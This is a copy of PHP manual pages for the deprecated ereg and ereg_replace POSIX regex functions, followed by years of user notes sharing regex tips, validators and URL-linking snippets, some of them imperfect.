I'm going to use the pcre functions from now on... I like Perl :o)
david at NOgreenhammerSPAM dot com 09-Mar-2002 07:40
Sadly, the Posix regexp evaluator (PHP 4.1.2) does not seem to support multi-character coallating sequences, even though such sequences are included in the man-page documentation.

Specifically, the man-page discusses the expression "[[.ch.]]*c" which matches the first five characters of "chchcc".  Running this expression in ereg_replace generates the error "Warning: REG_ECOLLATE".  (Running an equivalent expression with only one character between the periods does work, however.)

Multi-character coallating sequences are not supported!

This is really, really too bad, because it would have provided a simple way to exlude words from the target.

I'm going to go learn PCRE, now.  :-(
regex at dan42 dot cjb dot net 08-Mar-2002 07:33
Follow-up to my previous post:
Some simple optimization allowed me to realize that excluding a word at the beginning of a string has a degree of complexity O(n) rather than O(n^2). I only had to follow the logic:

if str[0] != badword[0] then OK
else
  if str[1] != badword[1] then OK
  else
    if str[2] != badword[2] then OK
    else ...

So excluding the word 'abc' at the beginning of a string is much more simple than I had made it out to be:
  ^([^a]|a[^b]|ab[^c])
spiceee at potentialvalleys dot com 07-Mar-2002 07:26
sorry to be picky here but saying ^ is beginning of a line or $ is end of line is rather misleading, if you're working on a daily basis with regexes.

it might be that it is most of the time correct BUT in some occasions you'd be better off to think of ^ as "start of string" and $ as "end of string".

there are ways to make your regex engine forget about your system's notion of a newline, it's what is commonly refered to as multiline regexes...
luciano_at_braziliantranslation.net 03-Mar-2002 09:15
mholdgate wrote a very nice quick reference guide in the next page (http://www.php.net/manual/en/function.ereg.php), but I felt it could be improved a little:
________________

^        Start of line
$        End of line
n?        Zero or only one single occurrence of character 'n'
n*        Zero or more occurrences of character 'n'
n+        At least one or more occurrences of character 'n'
n{2}        Exactly two occurrences of 'n'
n{2,}        At least 2 or more occurrences of 'n'
n{2,4}        From 2 to 4 occurrences of 'n'
.        Any single character
()        Parenthesis to group expressions
(.*)        Zero or more occurrences of any single character, ie, anything!
(n|a)        Either 'n' or 'a'
[1-6]        Any single digit in the range between 1 and 6
[c-h]        Any single lower case letter in the range between c and h
[D-M]        Any single upper case letter in the range between D and M
[^a-z]        Any single character EXCEPT any lower case letter between a and z.

        Pitfall: the ^ symbol only acts as an EXCEPT rule if it is the
        very first character inside a range, and it denies the
        entire range including the ^ symbol itself if it appears again
        later in the range. Also remember that if it is the first
        character in the entire expression, it means "start of line".
        In any other place, it is always treated as a regular ^ symbol.
        In other words, you cannot deny a word with ^undesired_word
        or a group with ^(undesired_phrase).
        Read more detailed regex documentation to find out what is
        necessary to achieve this.

[_4^a-zA-Z]    Any single character which can be the underscore or the
        number 4 or the ^ symbol or any letter, lower or upper case

?, +, * and the {} count parameters can be appended not only to a single character, but also to a group() or a range[].

therefore,
^.{2}[a-z]{1,2}_?[0-9]*([1-6]|[a-f])[^1-9]{2}a+$
would mean:

^.{2}         = A line beginning with any two characters,
[a-z]{1,2}     = followed by either 1 or 2 lower case letters,
_?         = followed by an optional underscore,
[0-9]*         = followed by zero or more digits,
([1-6]|[a-f])     = followed by either a digit between 1 and 6 OR a
        lower case letter between a and f,
[^1-9]{2}     = followed by any two characters except digits
        between 1 and 9 (0 is possible),
a+$         = followed by at least one or more
        occurrences of 'a' at the end of a line.
regex at dan42 dot cjb dot net 21-Feb-2002 06:12
It's easy to exclude characters but excluding words with a regular expression is a bit more tricky. For parentheses there is no equivalent to the ^ for brackets. The only way I've found to exclude a string is to proceed by inverse logic: accept all the words that do NOT correspond to the string. So if you want to accept all strings except those _begining_ with "abc", you'd have to accept any string that matches one of the following:
  ^(ab[^c])
  ^(a[^b]c)
  ^(a[^b][^c])
  ^([^a]bc)
  ^([^a]b[^c])
  ^([^a][^b]c)
  ^([^a][^b][^c])

which, put together, gives the regex
  ^(ab[^c]|a[^b]c|a[^b][^c]|[^a]bc|[^a]b[^c]|[^a][^b]c|[^a][^b][^c])

Note that this won't work to detect the word "abc" anywhere in a string. You need to have some way of anchoring the inverse word match
like: ^(a[^b]|[^a]b|[^a][^b])   ;"ab" not at begining of line
  or: (a[^b]|[^a]b|[^a][^b])&   ;"ab" not at end of line
  or: 123(a[^b]|[^a]b|[^a][^b]) ;"ab" not after "123"

I don't know why "(abc){0,0}" is an invalid synthax. It would've made all this much simpler.

Slightly off-topic, here's a regex date validator (format yyyy-mm-dd, remove all spaces and linefeeds):
  ^(19|20)([0-9]{2}-((0[13-9]|1[0-2])-(0[1-9]|[12][0-9]|30)|
  (0[13578]|1[02])-31|02-(0[1-9]|1[0-9]|2[0-8]))|([2468]0|
  [02468][48]|[13579][26])-02-29)$
03-Feb-2002 04:02
if you are looking for the abbreviations like tab, carriage return, regex-class definitions

you should look here:
http://elvin.dstc.edu.au/doc/regex.html

some excerpts:

    \a    control characters bell
    \b    backspace
    \f    form feed
    \n    line feed
    \r    carriage return
    \t    horizontal tab
    \v    vertical tab

class example
    \cLu    all uppercase letters


Replace regular expression

  • « POSIX Regex Functions
  • ereg »
  • PHP Manual
  • POSIX Regex Functions
  • Replace regular expression

ereg_replace

(PHP 4, PHP 5)

ereg_replace — Replace regular expression

Description

string ereg_replace ( string $pattern , string $replacement , string $string )

This function scans string for matches to pattern, then replaces the matched text with replacement.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

A POSIX extended regular expression.

replacement

If pattern contains parenthesized substrings, replacement may contain substrings of the form \digit, which will be replaced by the text matching the digit'th parenthesized substring; \0 will produce the entire contents of string. Up to nine substrings may be used. Parentheses may be nested, in which case they are counted by the opening parenthesis.

string

The input string.

Return Values

The modified string is returned. If no matches are found in string, then it will be returned unchanged.

Examples

For example, the following code snippet prints "This was a test" three times:

Example #1 ereg_replace() example

<?php

$string = "This is a test";
echo str_replace(" is", " was", $string);
echo ereg_replace("( )is", "\\1was", $string);
echo ereg_replace("(( )is)", "\\2was", $string);

?>

One thing to take note of is that if you use an integer value as the replacement parameter, you may not get the results you expect. This is because ereg_replace() will interpret the number as the ordinal value of a character, and apply that. For instance:

Example #2 ereg_replace() example

<?php
/* This will not work as expected. */
$num = 4;
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* Output: 'This string has   words.' */

/* This will work. */
$num = '4';
$string = "This string has four words.";
$string = ereg_replace('four', $num, $string);
echo $string;   /* Output: 'This string has 4 words.' */
?>

Example #3 Replace URLs with links

<?php
$text = ereg_replace("[[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/]",
                     '<a href="\\0">\\0</a>', $text);
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

ereg_replace() is deprecated as of PHP 5.3.0. preg_replace() is the suggested alternative to this function.

See Also

  • ereg() - Regular expression match
  • eregi() - Case insensitive regular expression match
  • eregi_replace() - Replace regular expression case insensitive
  • str_replace() - Replace all occurrences of the search string with the replacement string
  • preg_replace() - Perform a regular expression search and replace
  • quotemeta() - Quote meta characters

User Contributed Notes

lvt 18-Oct-2010 04:11
Be careful, don't replace all ereg_replace() with str_replace() as many people will likely to recommend if there is regular expression stuffs, or your script will stop running !!!

Example : replace the (.) at the end of the text with (...)

<?php

$text = "This is a simple text.";

print( ereg_replace( "\.$", "...", $text ) );

?>

Test with str_replace() you will find it's not working.
Joe 25-Jun-2010 08:24
Since ereg_replace is now deprecated, many users will be coming to this page, in an attempt to troubleshoot and fix broken scripts after a PHP upgrade.

ereg_replace is essentially a search and replace function and it follows a pattern like this:

<?php

$input = ereg_replace("find this", "replace it with", $output);

?>

You start out by defining the input variable ($input), then the = ereg_replace portion tells php to do a search and replace action on the value of $input, then once the value has been modified with your 'find this' and 'replace with' section, the resulting value is defined as a variable $output which you can then use in other parts of your script or page.

Lets take a real world example.

There is a e-comm site - http://www.example.com - that has millions of item records.  Each item has a name, that is defined as a variable called $title.  Each $title value has spaces, i.e. "Range Cookers" or "Bosch Dishwashers", but we want to convert these into a page url that does not contain spaces, but uses the plus character '+' instead of a space (you can use hyphens '-' or other characters).

If using the deprecated ereg_replace function, it might look something like this:

<?php

$title=ereg_replace(" ", "+", $itemurl);

?>

But to avoid those deprecated errors, we change the function name to preg_replace and add a set of delimiters, in this case the 2 forward slashes / / where the contents inside that are matched as the 'find this' portion.

<?php

$title=preg_replace("/ /", "+", $itemurl);

?>

It is not absolutely necessary to use / / as the delimiters, if you are modifying directory names which may naturally contain forward slashes, it could cause it to break because the slashes in the url or directory would be interpreted as the delimiter, so you could use other obscure characters i.e.  ("# #", "+", $itemurl);  instead.  This would give an output like:

http://www.example.com/-Range+Cooker

http://www.example.com/-Bosch+Dishwasher

This would strip out the spaces from the value of $title and give you a variable called $itemurl where all the spaces were replaced with the plus character, so you could potentially use it as a url like above.

So to summarize:  ereg_replace is a deprecated search and replace action where preg_replace can be used instead, and it follows a pattern as described earlier where it takes the input data, finds a match based on what you are looking for, replaces it with something else you define, and then gives you an output data variable that you can use in your script or page.  Hopefully by understanding the process, the php code functions wont seem like voodoo and you could troubleshoot and fix many of the deprecated errors yourself.
Anonymous 06-Mar-2009 04:17
<?php
// highlights the recognized patterns (a good tool for experiments)

$output = ereg_replace("your regexp here", "<font color=red>\\0</font>", $input)
print $output;
?>
Real PHP Geek 01-Feb-2009 12:55
This function makes links unclickable, read the comments:

<?php
function strip_urls($text, $repPat)
{
    if(!$repPat){
        $repPat = "text [url]";
    }
    $aimpstr = 'PHP_STRIP_URLS_FUNCTION_BY_REAL-PHP-GEEK';
    //change $aimpstr to anything you want.
    $impstr = md5($aimpstr);
    $text = str_replace('</a>', '</a>' . $impstr, $text);
    $text = explode($impstr, $text);
    $n = 0;
    $texta = array();
    $repPat = str_ireplace(array('text', 'url'), array('\\4', '\\2'), $repPat);
    foreach ($text as $text) {
        $texta[$n] = ereg_replace("<a(.*)href=\"(.*)\"(.*)>(.*)</a>", $repPat, $text);
        $n++;
    }
    $textb = implode("</a>", $texta);
    return $textb;
}

//EXAMPLES:
$string_of_text = '<a href="http://www.php.net/">PHP</a> rocks. <a href="http://www.apache.org/">Apache</a> also!';
echo strip_urls($string_of_text, "text");
echo strip_urls($string_of_text, "url");
echo strip_urls($string_of_text, "text [url]");
echo strip_urls($string_of_text, NULL);
?>
computer_guru 07-Aug-2008 01:39
Here is the code I use to make links clickable. The code only works on xxxx:// (i.e. ftp://, http://, etc...). It does not work on www. because that is how I want it. The reason my code has an if condition is that it ignores html links and only modifies non-html urls. (see below)

<?php
function make_clickable($text)
{

    if (ereg("[\"|'][[:alpha:]]+://",$text) == false)
    {
        $text = ereg_replace('([[:alpha:]]+://[^<>[:space:]]+[[:alnum:]/])', '<a target=\"_new\" href="\\1">\\1</a>', $text);
    }
    return($text);
}
?>

My function ignores code like this:

<a href="http://php.net"> php.net </a>

But it would make this one click able:

http://php.net
jammin320 03-Jul-2008 09:52
Just a quick addition to the last post -

modifying the regular expression for the www clause to include a newline at the begining will allow it to catch URLs that are the first in a line but not the first in a string. The previous version would only catch them if a space preceded the value...

    // match www.something
    $text = ereg_replace("(^| |\n)(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
http://www.bbgames.co.nr 04-May-2008 04:57
In response to a post above, his coding was a bit wrong.  The correct coding should be :

<?php
function hyperlink($text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| )(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);

    // return $text
    return $text;
}
?>

You can use this function like this:
<?php
$line = "Check the links: www.yahoo.com http://www.php.net";
hyperlink($line);
// Now, all text that looks like a link becomes a link
?>
tugla 29-Feb-2008 06:29
If you're not relying on regular expressions, str_replace() can be far faster.
Renjith 20-Jan-2008 07:02
Code:

<?php

$s = "Coding PHP is fun.";

$pattern = "(.*)PHP(.*)";
$replacement = " They say \\1other languages\\2";

print ereg_replace($pattern, $replacement, $s);

?>

Output:
They say Coding other languages is fun.
Explanation:

"PHP" is replaced with "other languages", and the sentence is changed a little, using \1 and \2 to access the parts within parentheses.
http://php-regex.blogspot.com/
bjwarshaw2 at yahoo dot com 30-Sep-2007 03:27
It's worth mentioning for ultimate clarity that you're safest using double quotes when matching a pattern, since without them, metacharacters will be interpreted as a backslash plus another character.

Granted, this is part of the language syntax for the string type, but it might not be quite so obvious when dealing with patterns in this function, which is taking the pattern as a parameter.

So if you find that '[\n]' is taking the 'n' out of your string and leaving the new lines alone, switch to doubles before changing anything else.
jarfil at jarfil dot net 26-Aug-2007 11:42
For simple patterns like "[a-z]", preg_replace is up to 6 times faster than ereg_replace.
mephissto at gmail dot com 30-May-2007 03:40
Your right but you just need to replace by :

<?php
function hyperlink(&$text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| |.)(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
?>
hoffaboffa (at) hotmail dott com 16-May-2007 03:03
cristiklein's hyperlink function is nice but works incorrect with a www-string like this

\r\nwww.google.se

then it does not become a hyperlink
bmcswee at gmail dot com dot invalid 06-Apr-2007 06:33
Function to strip an HTML tag out of a string. I use this in part for parsing XML documents.

<?php

function stripTags($tag, $string) {
        // Regular expressions only work with strings if the regexp has been pre-concocted
    $regExp = "<" . "$tag" . "[^>]*>";

    $string = str_replace("</$tag>", "", $string);
    $string = ereg_replace($regExp, "", $string);

    return $string;
}

?>
chrish at shield dot on dot ca 13-Feb-2006 02:43
I was having problems with Microsoft Outlook viewing forms within email.  I was only able to see the first word of the text box after I used the following code.

If I entered words into the text box and used the enter key to give me a CRLF I could see in the returned data the %0D%0A string, so I assumed if I just used the ereg-replace as below it would just replace the %0D%0A with a single space...

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", " ", $string);
  return $new_string;
}

But the form as displayed by Outlook only showed the text upto the first replaced string, then it was blank!
I could view the source of the email and it would show all of the text I expected.

The following will show the correct data in the form

function remove_extra_linebreaks($string) {
   $new_string=ereg_replace("%0D%0A", '+', $string);
  return $new_string;
}
Chris 20-Jan-2006 08:43
I've updated the function a little that was posted below.  I use it to make database field names readable when making a header row.  I needed it to quit putting a space in "GPA" and to put a space in between numbers and letters.

<?php
/**
*  Converts "fieldcontainingGPAInMyDatabaseFrom2005"
*  To       "Field Containing GPA In My Database From 2005"
*/
function innerCapsToReadableText($text) {
    $text = ereg_replace("([A-Z]) ", "\\1",ucwords(strtolower(ereg_replace("[A-Z]"," \\0",$text))));
    return ereg_replace("([A-Za-z])([0-9])", "\\1 \\2", $text);
}
?>
codergeek42 at users dot sourceforge.net 21-Dec-2005 06:15
In response to "php dot net at lenix dot de," a cleaner (easier to read) method would be to type-cast the integer as a string by quoting it. For example:

<?php
$foo = 42;
echo ereg_replace ( "bar", "$foo" , "foobar" ); /* Would output "foo42". */
?>
benlanc at ster dot me dot uk 23-Aug-2005 12:49
Quite how I managed to get my previous post so wrong, I don't know. Correction follows:
<?php
/* function to turn InterCaps style strings (i.e. CSS Properties in Javascript) to human readable ones */
function deInterCaps($var){
   return ucfirst(strtolower(ereg_replace("[A-Z]"," \\0",$var)));
}

$interCapsString = "aLoadOfNonsenseToDemonstrateTheFunction";

echo deInterCaps($interCapsString);

// output: A load of nonsense to demonstrate the function
?>
php dot net at lenix dot de 07-Jul-2005 12:26
One thing to take note of is that if you use an integer value as the replacement parameter, you may not get the results you expect. This is because ereg_replace() will interpret the number as the ordinal value of a character, and apply that.

If you're ever having trouble with this one there's an easy workarround:

instead of
<?php
$foo = 23;
echo ereg_replace ( "bar", $foo , "foobar" );
?>

just do

<?php
$foo = 23;
echo ereg_replace ( "bar", "" . $foo , "foobar" );
?>

to replace "bar" inside "foobar" with the string "23".
zaczek at gmail dot com 05-Jul-2005 01:09
If you want the function to process query strings, such as:

http://www.php.net/index.php?id=10%32&wp=test

modify the function as follows:

function hyperlink(&$text)
{
   // match protocol://address/path/
   $text = ereg_replace("[a-zA-Z]+://([-]*[.]?[a-zA-Z0-9_/-?&%])*", "<a href=\"\\0\">\\0</a>", $text);

   // match www.something
   $text = ereg_replace("(^| )(www([-]*[.]?[a-zA-Z0-9_/-?&%])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
cristiklein at yahoo dot com 09-Apr-2005 11:50
Sometimes, you would like to match both styles of URL links that are common in chat windows:

http://www.yahoo.com
www.yahoo.com

You can do this by using the following code:

<?php
function hyperlink(&$text)
{
    // match protocol://address/path/
    $text = ereg_replace("[a-zA-Z]+://([.]?[a-zA-Z0-9_/-])*", "<a href=\"\\0\">\\0</a>", $text);

    // match www.something
    $text = ereg_replace("(^| )(www([.]?[a-zA-Z0-9_/-])*)", "\\1<a href=\"http://\\2\">\\2</a>", $text);
}
?>

You can use this function like this:
<?php
$line = "Check the links: www.yahoo.com http://www.php.net";
hyperlink($line);
// Now, all text that looks like a link becomes a link
?>
bgoodman at osogrande dot com 02-Mar-2005 11:25
When you are dealing with databases you can end up with quite a few \" to deal with.  To ereg_replace all these with something else it requires you to \ the \ and \ the " so you end up with:

$var1 = '\"';
$var2 = ereg_replace('\\\"','1234',$var1);

print $var2;  //this should print 1234
eerie at gmx dot net 27-Feb-2005 08:44
<?php $path = ereg_replace("\\", "/", $path); ?>
as posted from mmtach at yahoo dot com causes an error because you have to escape the backslash twice, once for the quotation marks and a second time due the posix syntax.
<?php $path = ereg_replace("\\\\", "/", $path); ?>
or
<?php $path = ereg_replace('\\', "/", $path); ?>
should both work as expected. since you don't have to escape the backslash in brackets (posix syntax) his alternative works also.


Regular expression match

  • « ereg_replace
  • eregi_replace »
  • PHP Manual
  • POSIX Regex Functions
  • Regular expression match

ereg

(PHP 4, PHP 5)

ereg — Regular expression match

Description

int ereg ( string $pattern , string $string [, array &$regs ] )

Searches a string for matches to the regular expression given in pattern in a case-sensitive way.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case sensitive regular expression.

string

The input string.

regs

If matches are found for parenthesized substrings of pattern and the function is called with the third argument regs, the matches will be stored in the elements of the array regs.

$regs[1] will contain the substring which starts at the first left parenthesis; $regs[2] will contain the substring starting at the second, and so on. $regs[0] will contain a copy of the complete string matched.

Return Values

Returns the length of the matched string if a match for pattern was found in string, or FALSE if no matches were found or an error occurred.

If the optional parameter regs was not passed or the length of the matched string is 0, this function returns 1.

Changelog

Version | Description
4.1.0 | Up to (and including) PHP 4.1.0 $regs will be filled with exactly ten elements, even though more or fewer than ten parenthesized substrings may actually have matched. This has no effect on ereg()'s ability to match more substrings. If no matches are found, $regs will not be altered by ereg().

Examples

Example #1 ereg() example

The following code snippet takes a date in ISO format (YYYY-MM-DD) and prints it in DD.MM.YYYY format:

<?php
if (ereg ("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})", $date, $regs)) {
    echo "$regs[3].$regs[2].$regs[1]";
} else {
    echo "Invalid date format: $date";
}
?>

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

Tip

ereg() is deprecated as of PHP 5.3.0. preg_match() is the suggested alternative to this function.

See Also

  • eregi() - Case insensitive regular expression match
  • ereg_replace() - Replace regular expression
  • eregi_replace() - Replace regular expression case insensitive
  • preg_match() - Perform a regular expression match
  • strpos() - Find the position of the first occurrence of a substring in a string
  • strstr() - Find the first occurrence of a string
  • quotemeta() - Quote meta characters

User Contributed Notes

eng dot emad_2010 at yahoo dot com 29-Nov-2013 01:24
eregi   &   preg_match()  what difference

Find page title
------------------
This handy code snippet will find and print the text within the <title> and </title> tags of a html page.

Find_ page_ title_by_eregi.php
----------------------------------

<?php

$fp = fopen("http://www.w3schools.com/default.asp","r");
while (!feof($fp) ){
$page .= fgets($fp, 4096);
}

$titre = eregi("<title>(.*)</title>",$page,$regs);

// reg exp is without /  /  and flexible

print_r($regs);
echo "<br/>";
//  Array ( [0] => [1] => W3Schools Online Web Tutorials )

echo $regs[1] ;
// W3Schools Online Web Tutorials

fclose($fp);

?>

======================================

Find_ page_ title _by_preg_match_all.php
-----------------------------------------------

<?php

$fp = fopen("http://www.w3schools.com/default.asp","r");
while (!feof($fp) ){
$page .= fgets($fp, 4096);
}

preg_match_all("/<title>(.*)<\/title>/i",$page,$regs);

//  reg exp must with  /  /  and not  flexible

print_r($regs);
echo "<br/>";
//  Array ( [0] => Array ( [0] => ) [1] => Array ( [0] => W3Schools Online Web Tutorials ) )

echo $regs[1][0];
// W3Schools Online Web Tutorials

fclose($fp);

?>
parsaj at gmail dot com 22-Apr-2009 12:33
Here a little clear and easy script
that I wrote to validate an E-Mail Input.

I tried to understand ereg,
but the describtion on php.net did not help me,
so I made some research and finally (think)
that Im sure how to use ereg.

The following function works for me well and allows
an E-Mail to contain the following characters:
"A-Z, a-z, 0-9, . , - , _ "

<?php
function validateMail($mail) {
    if($mail !== "") {
        if(!ereg("^[A-Za-z0-9\.|-|_]*
          [@]{1}[A-Za-z0-9\.|-|_]*[.]{1}[a-z]{2,5}$", $mail)) {
        echo "wrong Input for E-Mail";
        $mail ="";
        return $mail;
         }
        else {
        return $mail;
        }
    }
}
?>

to make it clear:
^ means begin here (startpoint of ereg)
$ means end here (endpoint of ereg)
* stand for endless characters (I want A-Z, a-z, 0-9 and the other characters to apear from 0 to endless
optional you can write {1,5} for
min 1 times a character or max 5 times a
characters instead of *
{1,2} means min 1 time a character and max 2 times a character (optional you can write * intead of {1,2}
{1} stand for max 1 time a character
\ means from here special characters (like .-_$ and so on)
| means OR
Anonymous 16-Jan-2009 09:20
Recognizing E-mail Addresses

worth noting: a valid e-mail may contain a + character.

for example:
if you send e-mail to myemail+something@gmail.com, gmail reroutes it to the account myemail@gmail.com. This is a useful feature, and it is very frustrating when websites that take your e-mail don't allow you to do this.
hreisin at gmail dot com 21-Nov-2008 10:50
Hi,
for those looking for email adress PHP validation,
isemail is a javascrit function that checks the following conditions for the email string:

   • only one @ sign permitted
   • domain extension separator (.) must come after the @ symbol
   • must be at least 2 characters (letters) after the domain extension separator (.)
   • rejects all illegal characters including spaces.
   • Allows only numbers, letters, the underscore (_) and the dash (-) character as valid input
     (excluding the mandatory "@" and "." symbols).
   • Minimum of 6 characters

The following pattern satisfy all-in-one for the ereg function:
$pattern = "^([A-Za-z0-9\.|-|_]{1,60})([@])";
$pattern .="([A-Za-z0-9\.|-|_]{1,60})(\.)([A-Za-z]{2,3})$";

ereg($pattern,$email)
pascalaschwandenPLEASENOSPAM at gmail dot com 19-Jul-2008 03:16
Here is a series of useful regular expressions.

<?php
function isValid($type,$var) {
 $valid = false;
 switch ($type) {
  case "IP":
   if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$',$var)) {
    $valid = true;
   }
   break;
  case “URL”:
   if (ereg("^[a-zA-Z0-9\-\.]+\.(com|org|net|mil|edu)$",$var)) {
    $valid = true;
   }
   break;
  case “SSN”:
   if (ereg("^[0-9]{3}[- ][0-9]{2}[- ][0-9]{4}|[0-9]{9}$",$var)) {
    $valid = true;
   }
   break;
  case “CC”:
   if (ereg("^([0-9]{4}[- ]){3}[0-9]{4}|[0-9]{16}$",$var)) {
    $valid = true;
   }
   break;
  case “ISBN”:
   if (ereg("^[0-9]{9}[[0-9]|X|x]$",$var)) {
    $valid = true;
   }
   break;
  case “Date”:
   if (ereg("^([0-9][0-2]|[0-9])\/([0-2][0-9]|3[01]|[0-9])\/[0-9]{4}|([0-9][0-2]|[0-9])-([0-2][0-9]|3[01]|[0-9])-[0-9]{4}$",$var)) {
    $valid = true;
   }
   break;
  case “Zip”:
   if (ereg("^[0-9]{5}(-[0-9]{4})?$",$var)) {
    $valid = true;
   }
   break;
  case "Phone":
   if (ereg("^((\([0-9]{3}\) ?)|([0-9]{3}-))?[0-9]{3}-[0-9]{4}$",$var)) {
    $valid = true;
   }
   break;
  case “HexColor”:
   if (ereg('^#?([a-f]|[A-F]|[0-9]){3}(([a-f]|[A-F]|[0-9]){3})?$',$var)) {
    $valid = true;
   }
   break;
  case “User”:
   if (ereg("^[a-zA-Z0-9_]{3,16}$",$var)) {
    $valid = true;
   }
   break;
 }
 return $valid;
}

#Example:
$phone = "789-1234";
if (isValid("Phone",$phone)) {
 echo "Valid Phone Number";
} else {
 echo "Invalid Phone Number";
}
?>
Jeff K. 18-Jul-2008 10:16
In reply to Francis,

Your regular expression:
$pattern = "^(\()?([0-9]{3})(\))?( )?([0-9]{3})( )?(\-)?( )?([0-9]{4})$";

I actually used this to validate a phone number. The one discrepancy I found is with patterns such as 503-555-1212, 503-5551212, [503]5551212, and every other pattern that does not have single whitespace or a dash as a delimiter, ereg() will return false when given your expression.

Based on your pattern, I came up with a more general and concise version making use of the dot meta-character:
$pattern = "^.?[0-9]{3}.?.?[0-9]{3}.?[0-9]{4}$";

When passed to ereg(), it will return "true" so long as there is 10 digits, regardless of the delimiter chosen by the user.

[503] 5551212 //true
5035551212 //true
503+555 1212//true

$pattern = "^(\()?([0-9]{3})(\))?( )?([0-9]{3})( )?(\-)?( )?([0-9]{4})$";
Jeremy M at unitydc dot co dot uk 23-May-2008 02:11
UK postcode validation.

We've used the expression put forward by tomas and jaik,
but we found that it fails on Coventry (CV) postcodes.

Here is an alternative that works for these postcodes and
also adds support for the Overseas Territories like Tristan da Cunha.

<?php

function IsPostcode($postcode) {
    $postcode = strtoupper($postcode);
    if(ereg("((GIR 0AA)|(TDCU 1ZZ)|(ASCN 1ZZ)|(BIQQ 1ZZ)|(BBND 1ZZ)"
."|(FIQQ 1ZZ)|(PCRN 1ZZ)|(STHL 1ZZ)|(SIQQ 1ZZ)|(TKCA 1ZZ)"
."|[A-PR-UWYZ]([0-9]{1,2}|([A-HK-Y][0-9]"
."|[A-HK-Y][0-9]([0-9]|[ABEHMNPRV-Y]))"
."|[0-9][A-HJKS-UW]) [0-9][ABD-HJLNP-UW-Z]{2})", $postcode)) {
        return $postcode;
    } else {
        return FALSE;
    }
}

?>
John Thur 02-Apr-2008 08:29
<?php
function fractionstr2decimal($fs){
        if (is_numeric($fs)){
                return $fs;
        } elseif (ereg ("([0-9]{1,6}[ ])?([0-9]{1,6})\/([0-9]{0,6}[1-9][0-9]{0,6})", $fs, $regs)) {
        /* ({1-6 digits}space  optional) {1-6 digits}/(1-13 digits with at least one digit not 0 )*/
                return ($regs[1]+$regs[2]/$regs[3]);
        } else {
                return (NULL); /* Invalid Fraction */
        }
}

echo fractionstr2decimal("1024 5/132")."<br>";   /* 1024.0378787879  */
echo fractionstr2decimal("23")."<br>";           /* 23 */

$i=fractionstr2decimal("1 2/3");
echo "<br>$i";                                  /* 1.66666666666667 */
if ($i and $i<=1 ) echo "<1<br>";               /*  */
$i=fractionstr2decimal("2/3");
echo "<br>$i";                                  /*  0.66666666666667 */
if ($i and $i<=1 ) echo "<1<br>";               /*  <1 */
$i=fractionstr2decimal("2/0");
echo "<br>$i";
if ($i and $i<=1 ) echo "<1<br>";
?>
E. Stuart Hicks 27-Feb-2008 08:23
It's important to note for certain regular expression that your $regs[] array will only contain as many values as you have sets of parenthesis in your regexp. (plus 1, of course)  For example, the regexp below was designed to locate tags enclosed in <> characters inside a string:

<?php ereg("^([^<]*)(<[^>]+>[^<]*)*$", $str, $tags) ?>

This will *not* create an arbitrarily long array in $tags for the number of tags that it finds.  Given the string "This <has> a <couple> of <tags> in it", you'll see:

0 : This <has> a <couple> of <tags> in it
1 : This
2 : <tags> in it

Since the same parenthesized section of the regexp is matching all tags found, it overwrites the same section of the array.  If you try increasing the number of parenthesis, it just creates duplicates of the same result.
Will 01-Feb-2008 04:47
There is undocumented behaviour for this command!

You cannot check for strings of 1-256 characters or longer.

For example, this will evaluate to true:

ereg("^[a-zA-Z0-9' ]{1,255}$","ghfhg");

But this will give the error:
PHP Warning:  ereg(): REG_BADBR

ereg("^[a-zA-Z0-9' ]{1,256}$","ghfhg");

PHP version (on Windows XP):

PHP 5.2.5 (cli) (built: Nov  8 2007 23:18:51)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
savage 29-Jan-2008 05:38
This is a fix for days over 31 and shorter version
^(([1]{1}[0-2]{1}|[0]{0,1}[1-9]{1})[\-]{1}([0-2]{0,1}\d{1|
[3]{1,1}[0-1]{1})[\-]{1}[1-2]{1}\d{3}|([0-2]{0,1}\d{1}|
[3]{1,1}[0-1]{1})[\-]{1}([1]{1}[0-2]{1}|[0]{0,1}[1-9]{1})
[\-]{1}[1-2]{1}\d{3}|[1-2]{1}\d{3}[\-]{1}([1]{1}[0-2]{1}|
[0]{0,1}[1-9]{1})[\-]{1}([0-2]{0,1}\d{1}|[3]{1,1}[0-1]{1}))$
savage at gmail dot com 28-Jan-2008 05:48
This is a date regexp that I made to allow different combinations of month, day, and year. it's rather long but it works.

(^([0-3]{0,1})([1-9]{1,1})([\-]{1,1})(([1]{1,1})([0-2]{1,1})|
([0]{0,1})([1-9]{1,1}))([\-]{1,1})([1-2]{1,1})(\d{3})$)|
(^(([1]{1,1})([0-2]{1,1})|([0]{0,1})([1-9]{1,1}))([\-]{1,1})
([0-3]{0,1})([1-9]{1,1})([\-]{1,1})([1-2]{1,1})(\d{3})$)|
(^([1-2]{1,1})(\d{3})([\-]{1,1})(([1]{1,1})([0-2]{1,1})|
([0]{0,1})([1-9]{1,1}))([\-]{1,1})([0-3]{0,1})([1-9]{1,1})$)

